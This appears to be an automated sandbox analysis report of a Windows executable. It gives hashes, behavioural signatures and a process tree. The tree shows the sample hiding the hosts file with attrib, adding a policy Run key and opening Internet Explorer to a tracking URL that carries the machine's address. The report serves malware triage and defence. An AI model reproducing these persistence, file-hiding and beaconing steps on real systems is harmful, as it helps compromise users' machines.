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Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/03/2024, 14:53

General

  • Target

    d664454b2f4aafefe4e8d79b34b319ae.exe

  • Size

    45KB

  • MD5

    d664454b2f4aafefe4e8d79b34b319ae

  • SHA1

    28e9283962506986ec9d2e6d3b85738e50e02979

  • SHA256

    15f69b3b7720d59511b4b73a9a56045b5a6e8611c09181de5a157fd16542d6d5

  • SHA512

    09ef21390529088275bfad0c9a633898ba544a097d0d1e7d774d58e9efda80d8764b776e038edede777ecb6681d58e5b66166473fe836ce3b921c46f0d4f8162

  • SSDEEP

    768:tMVvp3w/SGIjuUb/0FD3SE4Y4cBRX6VX+Re5QH6DMnP6is0WMusig4s8HY:tMVvp3w/zMcFmEbREX+Rh6DM/s0fEIR

Score
8/10

Malware Config

Signatures

  • Adds policy Run key to start application 2 TTPs 2 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Drops file in Windows directory 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 29 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3428
      • C:\Users\Admin\AppData\Local\Temp\d664454b2f4aafefe4e8d79b34b319ae.exe
        "C:\Users\Admin\AppData\Local\Temp\d664454b2f4aafefe4e8d79b34b319ae.exe"
        2⤵
        • Adds policy Run key to start application
        • Drops file in Drivers directory
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:3312
        • C:\Windows\SysWOW64\attrib.exe
          attrib -s -h "C:\Windows\system32\drivers\etc\hosts"
          3⤵
          • Views/modifies file attributes
          PID:4208
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h "C:\Windows\system32\drivers\etc\hosts"
          3⤵
          • Sets file to hidden
          • Views/modifies file attributes
          PID:3280
        • C:\program files\internet explorer\iexplore.exe
          "C:\program files\internet explorer\iexplore.exe" "http://www.qqdcf.com/install.asp?ver=081229&tgid=6688&address=7A-73-24-8F-A2-09&regk=1&flag=bb111c26ac0ccf3d4f5ecdf979638d10&frandom=9954"
          3⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4340
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4340 CREDAT:17410 /prefetch:2
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:4452
    • C:\Windows\system32\AUDIODG.EXE
      C:\Windows\system32\AUDIODG.EXE 0x468 0x38c
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3344

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\~DF5FC6E12F2C309103.TMP

      Filesize

      16KB

      MD5

      5053317e8184859d45b056508f8b533f

      SHA1

      5d97898e9d1fee87bcad32fdc7aff67cf943e03a

      SHA256

      95c5b99cece02c009edae32a383cf989f0f94d2e84d86ddbab0481eec0e340ea

      SHA512

      d8e0f0355741f3167ee6a8500abab3957c9ca905410dc0fb3977ac7def786c73ae504618771982803eae5c0c08c7d87e2c104fcf6d2c4efdf174858c2c73490e